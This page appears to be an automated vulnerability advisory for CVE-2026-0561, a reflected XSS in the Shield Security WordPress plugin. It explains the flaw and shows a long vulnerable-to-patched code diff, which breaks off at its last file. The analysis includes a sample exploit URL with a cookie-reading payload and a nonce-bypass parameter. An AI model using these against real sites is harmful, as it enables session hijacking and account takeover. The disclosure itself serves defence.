Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0561: Shield Security <= 21.0.8 – Unauthenticated Reflected Cross-Site Scripting via 'message' Parameter (wp-simple-firewall)

CVE ID CVE-2026-0561
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 21.0.8
Patched Version 21.0.10
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0561:
This vulnerability is an unauthenticated reflected Cross-Site Scripting (XSS) flaw in the Shield Security WordPress plugin versions up to and including 21.0.8. The vulnerability exists in the plugin’s action router component, specifically within the handling of the ‘message’ parameter. Attackers can inject arbitrary JavaScript payloads that execute in the victim’s browser when they visit a crafted URL. The CVSS score of 6.1 reflects a medium severity rating.

The root cause is insufficient input sanitization and output escaping of user-controlled data passed via the ‘message’ parameter. Atomic Edge research identified the vulnerable code path in the ActionProcessor class within the file wp-simple-firewall/src/lib/src/ActionRouter/ActionProcessor.php. The vulnerability occurs because the plugin’s action processing system accepts user-supplied data in the ‘action_overrides’ array parameter. This array can contain the ‘message’ parameter value that gets directly output without proper escaping. The diff shows that in version 21.0.8, the ActionProcessor::getAction() method accepted all user input, including the ‘action_overrides’ array, without filtering.

Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in the ‘message’ parameter. The attack vector targets the plugin’s AJAX endpoint at /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘shield_action’. The payload would be delivered via the ‘action_overrides’ array parameter, which contains the ‘message’ key with the XSS payload. For example, an attacker could send a GET request to /wp-admin/admin-ajax.php?action=shield_action&ex=render&exnonce=[valid_nonce]&action_overrides[message]=alert(document.cookie). The victim would need to be tricked into clicking the malicious link while authenticated to WordPress.

The patch in version 21.0.10 addresses the vulnerability by removing the ‘action_overrides’ parameter from user input before processing actions. The diff shows a critical addition at line 44 in ActionProcessor.php: ‘unset( $data[ ‘action_overrides’ ] );’. This change prevents attackers from overriding action security controls via user input. The patch also includes improved error message escaping at line 42, changing the exception message to use esc_html(). These modifications ensure that security controls remain programmatically controlled and prevent CSRF bypass attacks where attackers could send action_overrides[is_nonce_verify_required]=false.

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated user’s browser session. This can lead to session hijacking, account takeover, administrative privilege escalation, and data theft. Since the vulnerability affects the security plugin itself, attackers could potentially disable security features or manipulate plugin settings. The reflected nature means the payload executes immediately when the victim visits the crafted URL, making it effective for targeted attacks against WordPress administrators.

Differential between vulnerable and patched code

Code Diff
--- a/wp-simple-firewall/icwp-wpsf.php
+++ b/wp-simple-firewall/icwp-wpsf.php
@@ -3,7 +3,7 @@
  * Plugin Name: Shield Security
  * Plugin URI: https://clk.shldscrty.com/2f
  * Description: Powerful, Easy-To-Use #1 Rated WordPress Security System
- * Version: 21.0.8
+ * Version: 21.0.10
  * Text Domain: wp-simple-firewall
  * Domain Path: /languages
  * Author: Shield Security
@@ -13,7 +13,7 @@
  */

 /**
- * Copyright (c) 2025 Shield Security <support@getshieldsecurity.com>
+ * Copyright (c) 2026 Shield Security <support@getshieldsecurity.com>
  * All rights reserved.
  * "Shield" (formerly WordPress Simple Firewall) is distributed under the GNU
  * General Public License, Version 2, June 1991. Copyright (C) 1989, 1991 Free
--- a/wp-simple-firewall/plugin_autoload.php
+++ b/wp-simple-firewall/plugin_autoload.php
@@ -1,6 +1,8 @@
-<?php declare( strict_types=1 );
-
-require_once( __DIR__.'/src/lib/vendor/autoload.php' );
-
-/** We initialise our Carbon early. */
+<?php declare( strict_types=1 );
+
+if ( !defined( 'ABSPATH' ) ) { exit(); }
+
+require_once( __DIR__.'/src/lib/vendor/autoload.php' );
+
+/** We initialise our Carbon early. */
 @class_exists( 'CarbonCarbon' );
 No newline at end of file
--- a/wp-simple-firewall/plugin_compatibility.php
+++ b/wp-simple-firewall/plugin_compatibility.php
@@ -1,43 +1,45 @@
-<?php declare( strict_types=1 );
-
-new class() {
-
-	private ?string $incompatible = null;
-
-	private ?string $shield = null;
-
-	public function __construct() {
-		if ( function_exists( 'wp_get_active_and_valid_plugins' ) ) {
-			foreach ( wp_get_active_and_valid_plugins() as $file ) {
-				if ( str_ends_with( $file, '/wp-rss-aggregator.php' ) && function_exists( 'get_plugin_data' ) ) {
-					$data = get_plugin_data( $file );
-					if ( !empty( $data[ 'Version' ] ) && version_compare( (string)$data[ 'Version' ], '5.0', '<' ) ) {
-						$this->incompatible = $data[ 'Name' ] ?? basename( $file );
-					}
-				}
-				elseif ( str_ends_with( $file, '/icwp-wpsf.php' ) ) {
-					$this->shield = $file;
-				}
-			}
-
-			if ( !empty( $this->incompatible ) && !empty( $this->shield )
-				 && !file_exists( path_join( dirname( $this->shield ), 'ignore_incompatibilities' ) ) ) {
-				add_action( 'admin_notices', fn() => $this->showIncompatibleNotice() );
-				add_action( 'network_admin_notices', fn() => $this->showIncompatibleNotice() );
-				throw new Exception( 'Incompatible plugin discovered.' );
-			}
-		}
-	}
-
-	private function showIncompatibleNotice() :void {
-		echo sprintf(
-			'<div class="error"><h4 style="margin-bottom: 7px;">%s</h4><p>%s</p></div>',
-			sprintf( 'Shield Security - Potential Incompatible Plugin Detected: %s', esc_html( $this->incompatible ) ),
-			implode( '<br/>', [
-				'Shield Security has detected that another plugin active on your site is potentially incompatible and may cause errors while running alongside Shield.',
-				"To prevent crashing your site, Shield won't run and you may chose to deactivate the incompatible plugin.",
-				sprintf( 'The incompatible plugin is: <strong>%s</strong>', esc_html( $this->incompatible ) )
-			] ),
-		);
-	}
+<?php declare( strict_types=1 );
+
+if ( !defined( 'ABSPATH' ) ) exit();
+
+new class() {
+
+	private ?string $incompatible = null;
+
+	private ?string $shield = null;
+
+	public function __construct() {
+		if ( function_exists( 'wp_get_active_and_valid_plugins' ) ) {
+			foreach ( wp_get_active_and_valid_plugins() as $file ) {
+				if ( str_ends_with( $file, '/wp-rss-aggregator.php' ) && function_exists( 'get_plugin_data' ) ) {
+					$data = get_plugin_data( $file );
+					if ( !empty( $data[ 'Version' ] ) && version_compare( (string)$data[ 'Version' ], '5.0', '<' ) ) {
+						$this->incompatible = $data[ 'Name' ] ?? basename( $file );
+					}
+				}
+				elseif ( str_ends_with( $file, '/icwp-wpsf.php' ) ) {
+					$this->shield = $file;
+				}
+			}
+
+			if ( !empty( $this->incompatible ) && !empty( $this->shield )
+				 && !file_exists( path_join( dirname( $this->shield ), 'ignore_incompatibilities' ) ) ) {
+				add_action( 'admin_notices', fn() => $this->showIncompatibleNotice() );
+				add_action( 'network_admin_notices', fn() => $this->showIncompatibleNotice() );
+				throw new Exception( 'Incompatible plugin discovered.' );
+			}
+		}
+	}
+
+	private function showIncompatibleNotice() :void {
+		echo sprintf(
+			'<div class="error"><h4 style="margin-bottom: 7px;">%s</h4><p>%s</p></div>',
+			sprintf( 'Shield Security - Potential Incompatible Plugin Detected: %s', esc_html( $this->incompatible ) ),
+			implode( '<br/>', [
+				'Shield Security has detected that another plugin active on your site is potentially incompatible and may cause errors while running alongside Shield.',
+				"To prevent crashing your site, Shield won't run and you may chose to deactivate the incompatible plugin.",
+				sprintf( 'The incompatible plugin is: <strong>%s</strong>', esc_html( $this->incompatible ) )
+			] ),
+		);
+	}
 };
 No newline at end of file
--- a/wp-simple-firewall/plugin_init.php
+++ b/wp-simple-firewall/plugin_init.php
@@ -1,82 +1,79 @@
-<?php
-
-use FernleafSystemsWordpressPluginShieldController;
-use FernleafSystemsWordpressServicesServices;
-
-/** @var string $rootFile */
-global $oICWP_Wpsf;
-if ( isset( $oICWP_Wpsf ) ) {
-	error_log( 'Attempting to load the Shield Plugin twice?' );
-	return;
-}
-if ( empty( $rootFile ) ) {
-	error_log( 'Attempt to directly access plugin init file.' );
-	return;
-}
-
-class ICWP_WPSF_Shield_Security {
-
-	/**
-	 * @var ICWP_WPSF_Shield_Security
-	 */
-	private static $oInstance = null;
-
-	/**
-	 * @var ControllerController
-	 */
-	private $con;
-
-	private function __construct( ControllerController $controller ) {
-		$this->con = $controller;
-	}
-
-	/**
-	 * @throws Exception
-	 */
-	public function start() {
-		$this->con->boot();
-	}
-
-	public function getController() :ControllerController {
-		return ControllerController::GetInstance();
-	}
-
-	/**
-	 * @throws Exception
-	 */
-	public static function GetInstance( ?ControllerController $con = null ) :ICWP_WPSF_Shield_Security {
-		if ( is_null( self::$oInstance ) ) {
-			if ( !$con instanceof ControllerController ) {
-				throw new Exception( 'Trying to create a Shield Plugin instance without a valid Controller' );
-			}
-			self::$oInstance = new self( $con );
-		}
-		return self::$oInstance;
-	}
-}
-
-Services::GetInstance();
-
-try {
-	$oICWP_Wpsf_Controller = ControllerController::GetInstance( $rootFile );
-	$oICWP_Wpsf = ICWP_WPSF_Shield_Security::GetInstance( $oICWP_Wpsf_Controller );
-	$oICWP_Wpsf->start();
-}
-catch ( ControllerExceptionsVersionMismatchException $e ) {
-	add_action( 'admin_notices', function () use ( $e ) {
-		echo sprintf( '<div class="notice error"><p>%s</p></div>',
-			'Shield Security: There appears to be a configuration issue - please reinstall the Shield Security plugin.' );
-	} );
-}
-catch ( ControllerExceptionsPluginConfigInvalidException $e ) {
-	add_action( 'admin_notices', function () use ( $e ) {
-		echo sprintf( '<div class="notice error"><p>%s</p><p>%s</p></div>',
-			'Shield Security: Could not load the plugin modules configuration. Please refresh and if the problem persists, please reinstall the Shield plugin.',
-			$e->getMessage()
-		);
-	} );
-}
-catch ( Exception $e ) {
-	error_log( 'Perhaps due to a failed upgrade, the Shield plugin failed to load certain component(s) - you should remove the plugin and reinstall.' );
-	error_log( $e->getMessage() );
+<?php
+
+use FernleafSystemsWordpressPluginShieldController;
+use FernleafSystemsWordpressServicesServices;
+
+if ( !defined( 'ABSPATH' ) ) { exit(); }
+
+/** @var string $rootFile */
+global $oICWP_Wpsf;
+if ( isset( $oICWP_Wpsf ) || empty( $rootFile ) ) {
+	return;
+}
+
+class ICWP_WPSF_Shield_Security {
+
+	/**
+	 * @var ICWP_WPSF_Shield_Security
+	 */
+	private static $oInstance = null;
+
+	/**
+	 * @var ControllerController
+	 */
+	private $con;
+
+	private function __construct( ControllerController $controller ) {
+		$this->con = $controller;
+	}
+
+	/**
+	 * @throws Exception
+	 */
+	public function start() {
+		$this->con->boot();
+	}
+
+	public function getController() :ControllerController {
+		return ControllerController::GetInstance();
+	}
+
+	/**
+	 * @throws Exception
+	 */
+	public static function GetInstance( ?ControllerController $con = null ) :ICWP_WPSF_Shield_Security {
+		if ( is_null( self::$oInstance ) ) {
+			if ( !$con instanceof ControllerController ) {
+				throw new Exception( 'Trying to create a Shield Plugin instance without a valid Controller' );
+			}
+			self::$oInstance = new self( $con );
+		}
+		return self::$oInstance;
+	}
+}
+
+Services::GetInstance();
+
+try {
+	$oICWP_Wpsf_Controller = ControllerController::GetInstance( $rootFile );
+	$oICWP_Wpsf = ICWP_WPSF_Shield_Security::GetInstance( $oICWP_Wpsf_Controller );
+	$oICWP_Wpsf->start();
+}
+catch ( ControllerExceptionsVersionMismatchException $e ) {
+	add_action( 'admin_notices', function () use ( $e ) {
+		echo sprintf( '<div class="notice error"><p>%s</p></div>',
+			'Shield Security: There appears to be a configuration issue - please reinstall the Shield Security plugin.' );
+	} );
+}
+catch ( ControllerExceptionsPluginConfigInvalidException $e ) {
+	add_action( 'admin_notices', function () use ( $e ) {
+		echo sprintf( '<div class="notice error"><p>%s</p><p>%s</p></div>',
+			'Shield Security: Could not load the plugin modules configuration. Please refresh and if the problem persists, please reinstall the Shield plugin.',
+			$e->getMessage()
+		);
+	} );
+}
+catch ( Exception $e ) {
+	error_log( 'Perhaps due to a failed upgrade, the Shield plugin failed to load certain component(s) - you should remove the plugin and reinstall.' );
+	error_log( $e->getMessage() );
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/functions/functions.php
+++ b/wp-simple-firewall/src/lib/functions/functions.php
@@ -1,39 +1,39 @@
-<?php declare( strict_types=1 );
-
-use FernleafSystemsWordpressPluginShieldFunctions;
-
-if ( function_exists( 'shield_security_get_plugin' ) ) {
-	return;
-}
-
-function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
-	return Functionsget_plugin();
-}
-
-function shield_get_visitor_scores( $IP = null ) :array {
-	return Functionsget_visitor_scores( $IP );
-}
-
-function shield_get_visitor_score( $IP = null ) :int {
-	return Functionsget_visitor_score( $IP );
-}
-
-/**
- * @param null $IP - defaults to current visitor
- * @throws Exception
- */
-function shield_test_ip_is_bot( $IP = null ) :bool {
-	return Functionstest_ip_is_bot( $IP );
-}
-
-function shield_get_ip_state( string $ip = '' ) :string {
-	return Functionsget_ip_state( $ip );
-}
-
-function shield_fire_event( string $event ) {
-	Functionsfire_event( $event );
-}
-
-function shield_start_scans( array $scans ) {
-	Functionsstart_scans( $scans );
+<?php declare( strict_types=1 );
+
+use FernleafSystemsWordpressPluginShieldFunctions;
+
+if ( function_exists( 'shield_security_get_plugin' ) ) {
+	return;
+}
+
+function shield_security_get_plugin() :ICWP_WPSF_Shield_Security {
+	return Functionsget_plugin();
+}
+
+function shield_get_visitor_scores( $IP = null ) :array {
+	return Functionsget_visitor_scores( $IP );
+}
+
+function shield_get_visitor_score( $IP = null ) :int {
+	return Functionsget_visitor_score( $IP );
+}
+
+/**
+ * @param null $IP - defaults to current visitor
+ * @throws Exception
+ */
+function shield_test_ip_is_bot( $IP = null ) :bool {
+	return Functionstest_ip_is_bot( $IP );
+}
+
+function shield_get_ip_state( string $ip = '' ) :string {
+	return Functionsget_ip_state( $ip );
+}
+
+function shield_fire_event( string $event ) {
+	Functionsfire_event( $event );
+}
+
+function shield_start_scans( array $scans ) {
+	Functionsstart_scans( $scans );
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionData.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionData.php
@@ -1,77 +1,77 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsWordpressPluginShieldActionRouterActionsAjaxRender;
-use FernleafSystemsWordpressPluginShieldActionRouterActionsBaseAction;
-use FernleafSystemsWordpressServicesServices;
-use FernleafSystemsWordpressServicesUtilitiesPasswordGenerator;
-use FernleafSystemsWordpressServicesUtilitiesURL;
-
-class ActionData {
-
-	public const FIELD_ACTION = 'action';
-	public const FIELD_AJAXURL = 'ajaxurl';
-	public const FIELD_SHIELD = 'shield_action';
-	public const FIELD_EXECUTE = 'ex';
-	public const FIELD_NONCE = 'exnonce';
-	public const FIELD_REST_NONCE = '_wpnonce';
-	public const FIELD_REST_URL = '_rest_url';
-	public const FIELD_WRAP_RESPONSE = 'apto_wrap_response';
-
-	public static function Build( string $actionClass, bool $isAjax = true, array $aux = [], bool $uniq = false ) :array {
-		$vo = new ActionDataVO();
-		$vo->action = $actionClass;
-		$vo->is_ajax = $isAjax;
-		$vo->aux = $aux;
-		$vo->unique = $uniq;
-		return self::BuildVO( $vo );
-	}
-
-	public static function BuildVO( ActionDataVO $VO ) :array {
-		$data = array_merge( [
-			self::FIELD_ACTION  => self::FIELD_SHIELD,
-			self::FIELD_EXECUTE => $VO->action::SLUG,
-			self::FIELD_NONCE   => ActionNonce::Create( $VO->action ),
-		], $VO->aux );
-
-		if ( $VO->unique ) {
-			$data[ 'uniq' ] = PasswordGenerator::Gen( 4, true, true, false );
-		}
-
-		if ( count( $VO->excluded_fields ) > 0 ) {
-			$data = array_diff_key( $data, array_flip( $VO->excluded_fields ) );
-		}
-
-		if ( $VO->is_ajax ) {
-			$data[ self::FIELD_AJAXURL ] = Services::WpGeneral()->ajaxURL();
-
-			$data[ self::FIELD_REST_NONCE ] = wp_create_nonce( 'wp_rest' );
-			$data[ self::FIELD_REST_URL ] = URL::Build(
-				get_rest_url( null, sprintf( 'shield/v1/action/%s', $VO->action::SLUG ) ),
-				array_diff_key(
-					$data,
-					array_flip( [
-						self::FIELD_ACTION,
-						self::FIELD_EXECUTE,
-						self::FIELD_AJAXURL,
-					] )
-				)
-			);
-		}
-
-		return $data;
-	}
-
-	/**
-	 * @param BaseAction|string $actionClass
-	 */
-	public static function BuildAjaxRender( string $actionClass = '', array $aux = [] ) :array {
-		$aux[ 'render_slug' ] = empty( $actionClass ) ? '' : $actionClass::SLUG;
-		return self::Build( AjaxRender::class, true, $aux );
-	}
-
-	public static function BuildJson( string $actionClass, bool $isAjax = true, array $aux = [] ) :string {
-		return wp_json_encode( (object)self::Build( $actionClass, $isAjax, $aux ) );
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsWordpressPluginShieldActionRouterActionsAjaxRender;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsBaseAction;
+use FernleafSystemsWordpressServicesServices;
+use FernleafSystemsWordpressServicesUtilitiesPasswordGenerator;
+use FernleafSystemsWordpressServicesUtilitiesURL;
+
+class ActionData {
+
+	public const FIELD_ACTION = 'action';
+	public const FIELD_AJAXURL = 'ajaxurl';
+	public const FIELD_SHIELD = 'shield_action';
+	public const FIELD_EXECUTE = 'ex';
+	public const FIELD_NONCE = 'exnonce';
+	public const FIELD_REST_NONCE = '_wpnonce';
+	public const FIELD_REST_URL = '_rest_url';
+	public const FIELD_WRAP_RESPONSE = 'apto_wrap_response';
+
+	public static function Build( string $actionClass, bool $isAjax = true, array $aux = [], bool $uniq = false ) :array {
+		$vo = new ActionDataVO();
+		$vo->action = $actionClass;
+		$vo->is_ajax = $isAjax;
+		$vo->aux = $aux;
+		$vo->unique = $uniq;
+		return self::BuildVO( $vo );
+	}
+
+	public static function BuildVO( ActionDataVO $VO ) :array {
+		$data = array_merge( [
+			self::FIELD_ACTION  => self::FIELD_SHIELD,
+			self::FIELD_EXECUTE => $VO->action::SLUG,
+			self::FIELD_NONCE   => ActionNonce::Create( $VO->action ),
+		], $VO->aux );
+
+		if ( $VO->unique ) {
+			$data[ 'uniq' ] = PasswordGenerator::Gen( 4, true, true, false );
+		}
+
+		if ( count( $VO->excluded_fields ) > 0 ) {
+			$data = array_diff_key( $data, array_flip( $VO->excluded_fields ) );
+		}
+
+		if ( $VO->is_ajax ) {
+			$data[ self::FIELD_AJAXURL ] = Services::WpGeneral()->ajaxURL();
+
+			$data[ self::FIELD_REST_NONCE ] = wp_create_nonce( 'wp_rest' );
+			$data[ self::FIELD_REST_URL ] = URL::Build(
+				get_rest_url( null, sprintf( 'shield/v1/action/%s', $VO->action::SLUG ) ),
+				array_diff_key(
+					$data,
+					array_flip( [
+						self::FIELD_ACTION,
+						self::FIELD_EXECUTE,
+						self::FIELD_AJAXURL,
+					] )
+				)
+			);
+		}
+
+		return $data;
+	}
+
+	/**
+	 * @param BaseAction|string $actionClass
+	 */
+	public static function BuildAjaxRender( string $actionClass = '', array $aux = [] ) :array {
+		$aux[ 'render_slug' ] = empty( $actionClass ) ? '' : $actionClass::SLUG;
+		return self::Build( AjaxRender::class, true, $aux );
+	}
+
+	public static function BuildJson( string $actionClass, bool $isAjax = true, array $aux = [] ) :string {
+		return wp_json_encode( (object)self::Build( $actionClass, $isAjax, $aux ) );
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionDataVO.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionDataVO.php
@@ -1,62 +1,62 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsUtilitiesDataAdapterDynPropertiesClass;
-use FernleafSystemsWordpressPluginShieldActionRouterActionsBaseAction;
-use FernleafSystemsWordpressServicesServices;
-
-/**
- * @property string|BaseAction $action
- * @property array             $aux
- * @property bool              $is_ajax
- * @property bool              $ip_in_nonce
- * @property bool              $is_rest
- * @property bool              $unique
- * @property array             $excluded_fields
- */
-class ActionDataVO extends DynPropertiesClass {
-
-	/**
-	 * @throws Exception
-	 */
-	public function __get( string $key ) {
-		$val = parent::__get( $key );
-
-		switch ( $key ) {
-
-			case 'action_class':
-				if ( empty( $val ) || !@class_exists( $val ) ) {
-					throw new Exception( '$action_class is empty!' );
-				}
-				break;
-			case 'aux':
-			case 'excluded_fields':
-				if ( !is_array( $val ) ) {
-					$val = [];
-				}
-				break;
-			case 'is_ajax':
-			case 'ip_in_nonce':
-				if ( !is_bool( $val ) ) {
-					$val = true;
-				}
-				break;
-			case 'unique':
-				if ( !is_bool( $val ) ) {
-					$val = false;
-				}
-				break;
-			case 'is_rest':
-				if ( !is_bool( $val ) ) {
-					$val = $this->is_ajax && Services::WpUsers()->isUserLoggedIn();
-				}
-				break;
-
-			default:
-				break;
-		}
-
-		return $val;
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsUtilitiesDataAdapterDynPropertiesClass;
+use FernleafSystemsWordpressPluginShieldActionRouterActionsBaseAction;
+use FernleafSystemsWordpressServicesServices;
+
+/**
+ * @property string|BaseAction $action
+ * @property array             $aux
+ * @property bool              $is_ajax
+ * @property bool              $ip_in_nonce
+ * @property bool              $is_rest
+ * @property bool              $unique
+ * @property array             $excluded_fields
+ */
+class ActionDataVO extends DynPropertiesClass {
+
+	/**
+	 * @throws Exception
+	 */
+	public function __get( string $key ) {
+		$val = parent::__get( $key );
+
+		switch ( $key ) {
+
+			case 'action_class':
+				if ( empty( $val ) || !@class_exists( $val ) ) {
+					throw new Exception( '$action_class is empty!' );
+				}
+				break;
+			case 'aux':
+			case 'excluded_fields':
+				if ( !is_array( $val ) ) {
+					$val = [];
+				}
+				break;
+			case 'is_ajax':
+			case 'ip_in_nonce':
+				if ( !is_bool( $val ) ) {
+					$val = true;
+				}
+				break;
+			case 'unique':
+				if ( !is_bool( $val ) ) {
+					$val = false;
+				}
+				break;
+			case 'is_rest':
+				if ( !is_bool( $val ) ) {
+					$val = $this->is_ajax && Services::WpUsers()->isUserLoggedIn();
+				}
+				break;
+
+			default:
+				break;
+		}
+
+		return $val;
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionNonce.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionNonce.php
@@ -1,55 +1,55 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsWordpressServicesServices;
-
-class ActionNonce {
-
-	/**
-	 * @param ActionsBaseAction|string $action
-	 */
-	public static function Create( string $action ) :string {
-		return self::CreateNonces( $action )[ 0 ];
-	}
-
-	/**
-	 * @param ActionsBaseAction|string $action
-	 */
-	public static function CreateNonces( string $action ) :array {
-		return array_map(
-			function ( int $distance ) use ( $action ) {
-				$action = UtilityActionsMap::ActionFromSlug( $action );
-
-				$nonceCfg = array_merge( [
-					'ip'  => true,
-					'ttl' => 12,
-				], $action::NonceCfg() );
-
-				return substr( wp_hash( implode( '|', [
-					sprintf( '%s-%s', ActionData::FIELD_SHIELD, $action::SLUG ),
-					Services::WpUsers()->getCurrentWpUserId(),
-					$nonceCfg[ 'ip' ] ? Services::Request()->ip() : '-',
-					ceil( Services::Request()->ts()/( HOUR_IN_SECONDS*$nonceCfg[ 'ttl' ] ) ) - $distance,
-				] ), 'nonce' ), -12, 10 );
-			},
-			[ 0, 1 ]
-		);
-	}
-
-	public static function Verify( string $action, string $nonce ) :bool {
-		$valid = false;
-		foreach ( self::CreateNonces( $action ) as $expected ) {
-			if ( hash_equals( $expected, $nonce ) ) {
-				$valid = true;
-				break;
-			}
-		}
-		return $valid;
-	}
-
-	public static function VerifyFromRequest() :bool {
-		$req = Services::Request();
-		return self::Verify( (string)$req->request( ActionData::FIELD_EXECUTE ), (string)$req->request( ActionData::FIELD_NONCE ) );
-	}
-}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsWordpressServicesServices;
+
+class ActionNonce {
+
+	/**
+	 * @param ActionsBaseAction|string $action
+	 */
+	public static function Create( string $action ) :string {
+		return self::CreateNonces( $action )[ 0 ];
+	}
+
+	/**
+	 * @param ActionsBaseAction|string $action
+	 */
+	public static function CreateNonces( string $action ) :array {
+		return array_map(
+			function ( int $distance ) use ( $action ) {
+				$action = UtilityActionsMap::ActionFromSlug( $action );
+
+				$nonceCfg = array_merge( [
+					'ip'  => true,
+					'ttl' => 12,
+				], $action::NonceCfg() );
+
+				return substr( wp_hash( implode( '|', [
+					sprintf( '%s-%s', ActionData::FIELD_SHIELD, $action::SLUG ),
+					Services::WpUsers()->getCurrentWpUserId(),
+					$nonceCfg[ 'ip' ] ? Services::Request()->ip() : '-',
+					ceil( Services::Request()->ts()/( HOUR_IN_SECONDS*$nonceCfg[ 'ttl' ] ) ) - $distance,
+				] ), 'nonce' ), -12, 10 );
+			},
+			[ 0, 1 ]
+		);
+	}
+
+	public static function Verify( string $action, string $nonce ) :bool {
+		$valid = false;
+		foreach ( self::CreateNonces( $action ) as $expected ) {
+			if ( hash_equals( $expected, $nonce ) ) {
+				$valid = true;
+				break;
+			}
+		}
+		return $valid;
+	}
+
+	public static function VerifyFromRequest() :bool {
+		$req = Services::Request();
+		return self::Verify( (string)$req->request( ActionData::FIELD_EXECUTE ), (string)$req->request( ActionData::FIELD_NONCE ) );
+	}
+}
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionProcessor.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionProcessor.php
@@ -1,41 +1,47 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsWordpressPluginShieldActionRouterExceptions{
-	ActionDoesNotExistException,
-	ActionException,
-	InvalidActionNonceException,
-	IpBlockedException,
-	SecurityAdminRequiredException,
-	UserAuthRequiredException,
-};
-use FernleafSystemsWordpressPluginShieldActionRouterUtilityActionsMap;
-
-class ActionProcessor {
-
-	/**
-	 * @throws ActionDoesNotExistException
-	 * @throws ActionException
-	 * @throws InvalidActionNonceException
-	 * @throws IpBlockedException
-	 * @throws SecurityAdminRequiredException
-	 * @throws UserAuthRequiredException
-	 */
-	public function processAction( string $classOrSlug, array $data = [] ) :ActionResponse {
-		$action = $this->getAction( $classOrSlug, $data );
-		$action->process();
-		return $action->response();
-	}
-
-	/**
-	 * @throws ActionDoesNotExistException
-	 */
-	public function getAction( string $classOrSlug, array $data ) :ActionsBaseAction {
-		$action = ActionsMap::ActionFromSlug( $classOrSlug );
-		if ( empty( $action ) ) {
-			throw new ActionDoesNotExistException( 'There was no action handler available for '.$classOrSlug );
-		}
-		return new $action( $data );
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsWordpressPluginShieldActionRouterExceptions{
+	ActionDoesNotExistException,
+	ActionException,
+	InvalidActionNonceException,
+	IpBlockedException,
+	SecurityAdminRequiredException,
+	UserAuthRequiredException,
+};
+use FernleafSystemsWordpressPluginShieldActionRouterUtilityActionsMap;
+
+class ActionProcessor {
+
+	/**
+	 * @throws ActionDoesNotExistException
+	 * @throws ActionException
+	 * @throws InvalidActionNonceException
+	 * @throws IpBlockedException
+	 * @throws SecurityAdminRequiredException
+	 * @throws UserAuthRequiredException
+	 */
+	public function processAction( string $classOrSlug, array $data = [] ) :ActionResponse {
+		$action = $this->getAction( $classOrSlug, $data );
+		$action->process();
+		return $action->response();
+	}
+
+	/**
+	 * SECURITY FIX: Strip action_overrides from user input
+	 * Security controls should never be controllable by user input, even from "authenticated" sources.
+	 * This prevents CSRF bypass attacks where attackers send action_overrides[is_nonce_verify_required]=false
+	 * Integrations that legitimately need overrides (like MainWP) should set them programmatically
+	 * AFTER action creation using setActionOverride() method.
+	 * @throws ActionDoesNotExistException
+	 */
+	public function getAction( string $classOrSlug, array $data ) :ActionsBaseAction {
+		$action = ActionsMap::ActionFromSlug( $classOrSlug );
+		if ( empty( $action ) ) {
+			throw new ActionDoesNotExistException( 'There was no action handler available for '.esc_html( $classOrSlug ) );
+		}
+		unset( $data[ 'action_overrides' ] );
+		return new $action( $data );
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionResponse.php
+++ b/wp-simple-firewall/src/lib/src/ActionRouter/ActionResponse.php
@@ -1,36 +1,36 @@
-<?php declare( strict_types=1 );
-
-namespace FernleafSystemsWordpressPluginShieldActionRouter;
-
-use FernleafSystemsWordpressPluginShieldUtilitiesResponse;
-
-/**
- * @property string $action_slug
- * @property array  $action_data
- * @property array  $action_response_data
- *
- * @property array  $next_step
- *
- * AJAX Actions:
- * @property array  $ajax_data
- */
-class ActionResponse extends Response {
-
-	public function __get( string $key ) {
-		$value = parent::__get( $key );
-		switch ( $key ) {
-
-			case 'action_data':
-			case 'action_response_data':
-			case 'ajax_data':
-			case 'render_data':
-			case 'next_step':
-				$value = is_array( $value ) ? $value : [];
-				break;
-
-			default:
-				break;
-		}
-		return $value;
-	}
+<?php declare( strict_types=1 );
+
+namespace FernleafSystemsWordpressPluginShieldActionRouter;
+
+use FernleafSystemsWordpressPluginShieldUtilitiesResponse;
+
+/**
+ * @property string $action_slug
+ * @property array  $action_data
+ * @property array  $action_response_data
+ *
+ * @property array  $next_step
+ *
+ * AJAX Actions:
+ * @property array  $ajax_data
+ */
+class ActionResponse extends Response {
+
+	public function __get( string $key ) {
+		$value = parent::__get( $key );
+		switch ( $key ) {
+
+			case 'action_data':
+			case 'action_response_data':
+			case 'ajax_data':
+			case 'render_data':
+			case 'next_step':
+				$value = is_array( $value ) ? $value : [];
+				break;
+
+			default:
+				break;
+		}
+		return $value;
+	}
 }
 No newline at end of file
--- a/wp-simple-firewall/src/lib/src/ActionRouter/ActionRoutingController.php
